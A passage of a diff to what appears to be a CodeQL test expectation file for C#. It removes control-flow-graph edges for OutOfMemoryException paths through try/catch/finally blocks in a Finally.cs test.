Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | semmle.label | exception(OutOfMemoryException) | | Finally.cs:24:13:24:19 | return ...; | Finally.cs:49:9:51:9 | [finally: return] {...} | semmle.label | return | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | semmle.label | match | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | semmle.label | no-match | -| Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | semmle.label | no-match | | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | Finally.cs:26:48:26:51 | [exception: Exception] true | semmle.label | successor | | Finally.cs:26:48:26:51 | [exception: Exception] true | Finally.cs:27:9:29:9 | {...} | semmle.label | true | | Finally.cs:27:9:29:9 | {...} | Finally.cs:28:13:28:18 | throw ...; | semmle.label | successor | | Finally.cs:28:13:28:18 | throw ...; | Finally.cs:49:9:51:9 | [finally: exception(IOException)] {...} | semmle.label | exception(IOException) | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | semmle.label | match | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | semmle.label | no-match | -| Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | semmle.label | no-match | | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | Finally.cs:31:9:40:9 | {...} | semmle.label | successor | | Finally.cs:31:9:40:9 | {...} | Finally.cs:32:13:39:13 | try {...} ... | semmle.label | successor | | Finally.cs:32:13:39:13 | try {...} ... | Finally.cs:33:13:35:13 | {...} | semmle.label | successor | @@ -1906,7 +1898,6 @@ | Finally.cs:38:23:38:43 | [finally: exception(ArgumentException)] object creation of type Exception | Finally.cs:38:17:38:44 | [finally: exception(ArgumentException)] throw ...; | semmle.label | successor | | Finally.cs:38:37:38:42 | [finally: exception(ArgumentException)] "Boo!" | Finally.cs:38:23:38:43 | [finally: exception(ArgumentException)] object creation of type Exception | semmle.label | successor | | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:42:9:43:9 | {...} | semmle.label | match | -| Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:42:9:43:9 | {...} | semmle.label | match | | Finally.cs:42:9:43:9 | {...} | Finally.cs:49:9:51:9 | {...} | semmle.label | successor | | Finally.cs:49:9:51:9 | [finally: exception(Exception)] {...} | Finally.cs:50:13:50:41 | [finally: exception(Exception)] ...; | semmle.label | successor | | Finally.cs:49:9:51:9 | [finally: exception(IOException)] {...} | Finally.cs:50:13:50:41 | [finally: exception(IOException)] ...; | semmle.label | successor | @@ -1934,49 +1925,36 @@ | Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | semmle.label | exception(Exception) | | Finally.cs:58:13:58:38 | ...; | Finally.cs:58:31:58:36 | "Try3" | semmle.label | successor | | Finally.cs:58:31:58:36 | "Try3" | Finally.cs:58:13:58:37 | call to method WriteLine | semmle.label | successor | -| Finally.cs:58:31:58:36 | "Try3" | Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | semmle.label | exception(OutOfMemoryException) | | Finally.cs:59:13:59:19 | return ...; | Finally.cs:69:9:71:9 | [finally: return] {...} | semmle.label | return | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | semmle.label | match | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | semmle.label | no-match | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | semmle.label | no-match | | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | Finally.cs:61:48:61:51 | [exception: Exception] true | semmle.label | successor | | Finally.cs:61:48:61:51 | [exception: Exception] true | Finally.cs:62:9:64:9 | {...} | semmle.label | true | | Finally.cs:62:9:64:9 | {...} | Finally.cs:63:13:63:18 | throw ...; | semmle.label | successor | | Finally.cs:63:13:63:18 | throw ...; | Finally.cs:69:9:71:9 | [finally: exception(IOException)] {...} | semmle.label | exception(IOException) | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | semmle.label | match | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | semmle.label | match | | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:65:35:65:35 | [exception: Exception] access to local variable e | semmle.label | successor | -| Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | Finally.cs:65:35:65:35 | [exception: OutOfMemoryException] access to local variable e | semmle.label | successor | | Finally.cs:65:35:65:35 | [exception: Exception] access to local variable e | Finally.cs:65:35:65:43 | [exception: Exception] access to property Message | semmle.label | successor | -| Finally.cs:65:35:65:35 | [exception: OutOfMemoryException] access to local variable e | Finally.cs:65:35:65:43 | [exception: OutOfMemoryException] access to property Message | semmle.label | successor | | Finally.cs:65:35:65:43 | [exception: Exception] access to property Message | Finally.cs:65:48:65:51 | [exception: Exception] null | semmle.label | successor | -| Finally.cs:65:35:65:43 | [exception: OutOfMemoryException] access to property Message | Finally.cs:65:48:65:51 | [exception: OutOfMemoryException] null | semmle.label | successor | | Finally.cs:65:35:65:51 | [exception: Exception] ... != ... | Finally.cs:66:9:67:9 | {...} | semmle.label | true | | Finally.cs:65:35:65:51 | [exception: Exception] ... != ... | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | -| Finally.cs:65:35:65:51 | [exception: OutOfMemoryException] ... != ... | Finally.cs:66:9:67:9 | {...} | semmle.label | true | -| Finally.cs:65:35:65:51 | [exception: OutOfMemoryException] ... != ... | Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | semmle.label | exception(OutOfMemoryException) | | Finally.cs:65:48:65:51 | [exception: Exception] null | Finally.cs:65:35:65:51 | [exception: Exception] ... != ... | semmle.label | successor | -| Finally.cs:65:48:65:51 | [exception: OutOfMemoryException] null | Finally.cs:65:35:65:51 | [exception: OutOfMemoryException] ... != ... | semmle.label | successor | | Finally.cs:66:9:67:9 | {...} | Finally.cs:69:9:71:9 | {...} | semmle.label | successor | | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | Finally.cs:70:13:70:41 | [finally: exception(Exception)] ...; | semmle.label | successor | | Finally.cs:69:9:71:9 | [finally: exception(IOException)] {...} | Finally.cs:70:13:70:41 | [finally: exception(IOException)] ...; | semmle.label | successor | -| Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:70:13:70:41 | [finally: exception(OutOfMemoryException)] ...; | semmle.label | successor | | Finally.cs:69:9:71:9 | [finally: return] {...} | Finally.cs:70:13:70:41 | [finally: return] ...; | semmle.label | successor | | Finally.cs:69:9:71:9 | {...} | Finally.cs:70:13:70:41 | ...; | semmle.label | successor | | Finally.cs:70:13:70:40 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:54:10:54:11 | exit M3 (abnormal) | semmle.label | exception(Exception) | | Finally.cs:70:13:70:40 | [finally: exception(IOException)] call to method WriteLine | Finally.cs:54:10:54:11 | exit M3 (abnormal) | semmle.label | exception(IOException) | -| Finally.cs:70:13:70:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:54:10:54:11 | exit M3 (abnormal) | semmle.label | exception(OutOfMemoryException) | | Finally.cs:70:13:70:40 | [finally: return] call to method WriteLine | Finally.cs:54:10:54:11 | exit M3 (normal) | semmle.label | return | | Finally.cs:70:13:70:40 | call to method WriteLine | Finally.cs:54:10:54:11 | exit M3 (normal) | semmle.label | successor | | Finally.cs:70:13:70:41 | ...; | Finally.cs:70:31:70:39 | "Finally" | semmle.label | successor | | Finally.cs:70:13:70:41 | [finally: exception(Exception)] ...; | Finally.cs:70:31:70:39 | [finally: exception(Exception)] "Finally" | semmle.label | successor | | Finally.cs:70:13:70:41 | [finally: exception(IOException)] ...; | Finally.cs:70:31:70:39 | [finally: exception(IOException)] "Finally" | semmle.label | successor | -| Finally.cs:70:13:70:41 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:70:31:70:39 | [finally: exception(OutOfMemoryException)] "Finally" | semmle.label | successor | | Finally.cs:70:13:70:41 | [finally: return] ...; | Finally.cs:70:31:70:39 | [finally: return] "Finally" | semmle.label | successor | | Finally.cs:70:31:70:39 | "Finally" | Finally.cs:70:13:70:40 | call to method WriteLine | semmle.label | successor | | Finally.cs:70:31:70:39 | [finally: exception(Exception)] "Finally" | Finally.cs:70:13:70:40 | [finally: exception(Exception)] call to method WriteLine | semmle.label | successor | | Finally.cs:70:31:70:39 | [finally: exception(IOException)] "Finally" | Finally.cs:70:13:70:40 | [finally: exception(IOException)] call to method WriteLine | semmle.label | successor | -| Finally.cs:70:31:70:39 | [finally: exception(OutOfMemoryException)] "Finally" | Finally.cs:70:13:70:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | semmle.label | successor | | Finally.cs:70:31:70:39 | [finally: return] "Finally" | Finally.cs:70:13:70:40 | [finally: return] call to method WriteLine | semmle.label | successor | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:75:5:101:5 | {...} | semmle.label | successor | | Finally.cs:74:10:74:11 | exit M4 (abnormal) | Finally.cs:74:10:74:11 | exit M4 | semmle.label | successor | @@ -2257,19 +2235,14 @@ | Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:140:9:143:9 | {...} | semmle.label | successor | | Finally.cs:137:13:137:37 | ...; | Finally.cs:137:31:137:35 | "Try" | semmle.label | successor | | Finally.cs:137:31:137:35 | "Try" | Finally.cs:137:13:137:36 | call to method WriteLine | semmle.label | successor | -| Finally.cs:137:31:137:35 | "Try" | Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | semmle.label | exception(OutOfMemoryException) | | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | Finally.cs:141:41:141:42 | [finally: exception(Exception)] "" | semmle.label | successor | -| Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:141:41:141:42 | [finally: exception(OutOfMemoryException)] "" | semmle.label | successor | | Finally.cs:140:9:143:9 | {...} | Finally.cs:141:41:141:42 | "" | semmle.label | successor | | Finally.cs:141:13:141:44 | [finally: exception(Exception)] throw ...; | Finally.cs:133:10:133:11 | exit M7 (abnormal) | semmle.label | exception(ArgumentException) | -| Finally.cs:141:13:141:44 | [finally: exception(OutOfMemoryException)] throw ...; | Finally.cs:133:10:133:11 | exit M7 (abnormal) | semmle.label | exception(ArgumentException) | | Finally.cs:141:13:141:44 | throw ...; | Finally.cs:133:10:133:11 | exit M7 (abnormal) | semmle.label | exception(ArgumentException) | | Finally.cs:141:19:141:43 | [finally: exception(Exception)] object creation of type ArgumentException | Finally.cs:141:13:141:44 | [finally: exception(Exception)] throw ...; | semmle.label | successor | -| Finally.cs:141:19:141:43 | [finally: exception(OutOfMemoryException)] object creation of type ArgumentException | Finally.cs:141:13:141:44 | [finally: exception(OutOfMemoryException)] throw ...; | semmle.label | successor | | Finally.cs:141:19:141:43 | object creation of type ArgumentException | Finally.cs:141:13:141:44 | throw ...; | semmle.label | successor | | Finally.cs:141:41:141:42 | "" | Finally.cs:141:19:141:43 | object creation of type ArgumentException | semmle.label | successor | | Finally.cs:141:41:141:42 | [finally: exception(Exception)] "" | Finally.cs:141:19:141:43 | [finally: exception(Exception)] object creation of type ArgumentException | semmle.label | successor | -| Finally.cs:141:41:141:42 | [finally: exception(OutOfMemoryException)] "" | Finally.cs:141:19:141:43 | [finally: exception(OutOfMemoryException)] object creation of type ArgumentException | semmle.label | successor | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:148:5:170:5 | {...} | semmle.label | successor | | Finally.cs:147:10:147:11 | exit M8 (abnormal) | Finally.cs:147:10:147:11 | exit M8 | semmle.label | successor | | Finally.cs:147:10:147:11 | exit M8 (normal) | Finally.cs:147:10:147:11 | exit M8 | semmle.label | successor | @@ -2327,74 +2300,50 @@ | Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:159:21:159:45 | throw ...; | semmle.label | successor | | Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | semmle.label | exception(Exception) | | Finally.cs:159:41:159:43 | "1" | Finally.cs:159:27:159:44 | object creation of type Exception | semmle.label | successor | -| Finally.cs:159:41:159:43 | "1" | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | semmle.label | exception(OutOfMemoryException) | | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | semmle.label | successor | -| Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | semmle.label | exception(OutOfMemoryException) | | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | semmle.label | successor | -| Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | semmle.label | exception(OutOfMemoryException) | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | semmle.label | match | | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | semmle.label | match | -| Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | semmle.label | match | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | semmle.label | match | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | semmle.label | match | -| Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | semmle.label | match | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | semmle.label | match | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | semmle.label | match | -| Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | semmle.label | match | | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:161:39:161:39 | [exception: Exception] access to local variable e | semmle.label | successor | | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | Finally.cs:161:39:161:39 | [exception: NullReferenceException] access to local variable e | semmle.label | successor | -| Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | Finally.cs:161:39:161:39 | [exception: OutOfMemoryException] access to local variable e | semmle.label | successor | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: Exception] access to local variable e | semmle.label | successor | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to local variable e | semmle.label | successor | -| Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to local variable e | semmle.label | successor | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: Exception] access to local variable e | semmle.label | successor | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: NullReferenceException] access to local variable e | semmle.label | successor | -| Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: OutOfMemoryException] access to local variable e | semmle.label | successor | | Finally.cs:161:39:161:39 | [exception: Exception] access to local variable e | Finally.cs:161:39:161:47 | [exception: Exception] access to property Message | semmle.label | successor | | Finally.cs:161:39:161:39 | [exception: NullReferenceException] access to local variable e | Finally.cs:161:39:161:47 | [exception: NullReferenceException] access to property Message | semmle.label | successor | -| Finally.cs:161:39:161:39 | [exception: OutOfMemoryException] access to local variable e | Finally.cs:161:39:161:47 | [exception: OutOfMemoryException] access to property Message | semmle.label | successor | | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: Exception] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: Exception] access to property Message | semmle.label | successor | | Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to property Message | semmle.label | successor | -| Finally.cs:161:39:161:39 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to property Message | semmle.label | successor | | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: Exception] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: Exception] access to property Message | semmle.label | successor | | Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: NullReferenceException] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: NullReferenceException] access to property Message | semmle.label | successor | -| Finally.cs:161:39:161:39 | [finally: exception(Exception), exception: OutOfMemoryException] access to local variable e | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: OutOfMemoryException] access to property Message | semmle.label | successor | | Finally.cs:161:39:161:47 | [exception: Exception] access to property Message | Finally.cs:161:52:161:54 | [exception: Exception] "1" | semmle.label | successor | | Finally.cs:161:39:161:47 | [exception: NullReferenceException] access to property Message | Finally.cs:161:52:161:54 | [exception: NullReferenceException] "1" | semmle.label | successor | -| Finally.cs:161:39:161:47 | [exception: OutOfMemoryException] access to property Message | Finally.cs:161:52:161:54 | [exception: OutOfMemoryException] "1" | semmle.label | successor | | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: Exception] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: Exception] "1" | semmle.label | successor | | Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: NullReferenceException] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] "1" | semmle.label | successor | -| Finally.cs:161:39:161:47 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] "1" | semmle.label | successor | | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: Exception] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: Exception] "1" | semmle.label | successor | | Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: NullReferenceException] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: NullReferenceException] "1" | semmle.label | successor | -| Finally.cs:161:39:161:47 | [finally: exception(Exception), exception: OutOfMemoryException] access to property Message | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] "1" | semmle.label | successor | | Finally.cs:161:39:161:54 | [exception: Exception] ... == ... | Finally.cs:162:13:164:13 | {...} | semmle.label | true | | Finally.cs:161:39:161:54 | [exception: Exception] ... == ... | Finally.cs:165:13:168:13 | catch {...} | semmle.label | false | | Finally.cs:161:39:161:54 | [exception: NullReferenceException] ... == ... | Finally.cs:162:13:164:13 | {...} | semmle.label | true | | Finally.cs:161:39:161:54 | [exception: NullReferenceException] ... == ... | Finally.cs:165:13:168:13 | catch {...} | semmle.label | false | -| Finally.cs:161:39:161:54 | [exception: OutOfMemoryException] ... == ... | Finally.cs:162:13:164:13 | {...} | semmle.label | true | -| Finally.cs:161:39:161:54 | [exception: OutOfMemoryException] ... == ... | Finally.cs:165:13:168:13 | catch {...} | semmle.label | false | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: Exception] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | semmle.label | true | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: Exception] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(ArgumentNullException)] catch {...} | semmle.label | false | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | semmle.label | true | | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(ArgumentNullException)] catch {...} | semmle.label | false | -| Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | semmle.label | true | -| Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(ArgumentNullException)] catch {...} | semmle.label | false | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: Exception] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | semmle.label | true | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: Exception] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(Exception)] catch {...} | semmle.label | false | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: NullReferenceException] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | semmle.label | true | | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: NullReferenceException] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(Exception)] catch {...} | semmle.label | false | -| Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] ... == ... | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | semmle.label | true | -| Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] ... == ... | Finally.cs:165:13:168:13 | [finally: exception(Exception)] catch {...} | semmle.label | false | | Finally.cs:161:52:161:54 | [exception: Exception] "1" | Finally.cs:161:39:161:54 | [exception: Exception] ... == ... | semmle.label | successor | | Finally.cs:161:52:161:54 | [exception: NullReferenceException] "1" | Finally.cs:161:39:161:54 | [exception: NullReferenceException] ... == ... | semmle.label | successor | -| Finally.cs:161:52:161:54 | [exception: OutOfMemoryException] "1" | Finally.cs:161:39:161:54 | [exception: OutOfMemoryException] ... == ... | semmle.label | successor | | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: Exception] "1" | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: Exception] ... == ... | semmle.label | successor | | Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] "1" | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] ... == ... | semmle.label | successor | -| Finally.cs:161:52:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] "1" | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] ... == ... | semmle.label | successor | | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: Exception] "1" | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: Exception] ... == ... | semmle.label | successor | | Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: NullReferenceException] "1" | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: NullReferenceException] ... == ... | semmle.label | successor | -| Finally.cs:161:52:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] "1" | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] ... == ... | semmle.label | successor | | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | Finally.cs:163:17:163:43 | [finally: exception(ArgumentNullException)] ...; | semmle.label | successor | | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | Finally.cs:163:17:163:43 | [finally: exception(Exception)] ...; | semmle.label | successor | | Finally.cs:162:13:164:13 | {...} | Finally.cs:163:17:163:43 | ...; | semmle.label | successor | @@ -2613,7 +2562,6 @@ | Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:227:9:229:9 | {...} | semmle.label | successor | | Finally.cs:220:13:220:37 | ...; | Finally.cs:220:31:220:35 | "Try" | semmle.label | successor | | Finally.cs:220:31:220:35 | "Try" | Finally.cs:220:13:220:36 | call to method WriteLine | semmle.label | successor | -| Finally.cs:220:31:220:35 | "Try" | Finally.cs:222:9:225:9 | catch {...} | semmle.label | exception(OutOfMemoryException) | | Finally.cs:222:9:225:9 | catch {...} | Finally.cs:223:9:225:9 | {...} | semmle.label | successor | | Finally.cs:223:9:225:9 | {...} | Finally.cs:224:13:224:39 | ...; | semmle.label | successor | | Finally.cs:224:13:224:38 | call to method WriteLine | Finally.cs:227:9:229:9 | {...} | semmle.label | successor | @@ -2707,23 +2655,18 @@ | Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:257:9:259:9 | {...} | semmle.label | successor | | Finally.cs:254:13:254:45 | ...; | Finally.cs:254:31:254:43 | "Mid finally" | semmle.label | successor | | Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:254:13:254:44 | call to method WriteLine | semmle.label | successor | -| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | semmle.label | exception(OutOfMemoryException) | | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | semmle.label | successor | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | semmle.label | successor | -| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | semmle.label | successor | | Finally.cs:257:9:259:9 | {...} | Finally.cs:258:13:258:47 | ...; | semmle.label | successor | | Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (abnormal) | semmle.label | exception(Exception) | | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (abnormal) | semmle.label | exception(ExceptionA) | -| Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (abnormal) | semmle.label | exception(OutOfMemoryException) | | Finally.cs:258:13:258:46 | call to method WriteLine | Finally.cs:260:9:260:34 | ...; | semmle.label | successor | | Finally.cs:258:13:258:47 | ...; | Finally.cs:258:31:258:45 | "Outer finally" | semmle.label | successor | | Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | semmle.label | successor | | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | semmle.label | successor | -| Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | semmle.label | successor | | Finally.cs:258:31:258:45 | "Outer finally" | Finally.cs:258:13:258:46 | call to method WriteLine | semmle.label | successor | | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | semmle.label | successor | | Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | semmle.label | successor | -| Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | semmle.label | successor | | Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (normal) | semmle.label | successor | | Finally.cs:260:9:260:34 | ...; | Finally.cs:260:27:260:32 | "Done" | semmle.label | successor | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:9:260:33 | call to method WriteLine | semmle.label | successor | diff 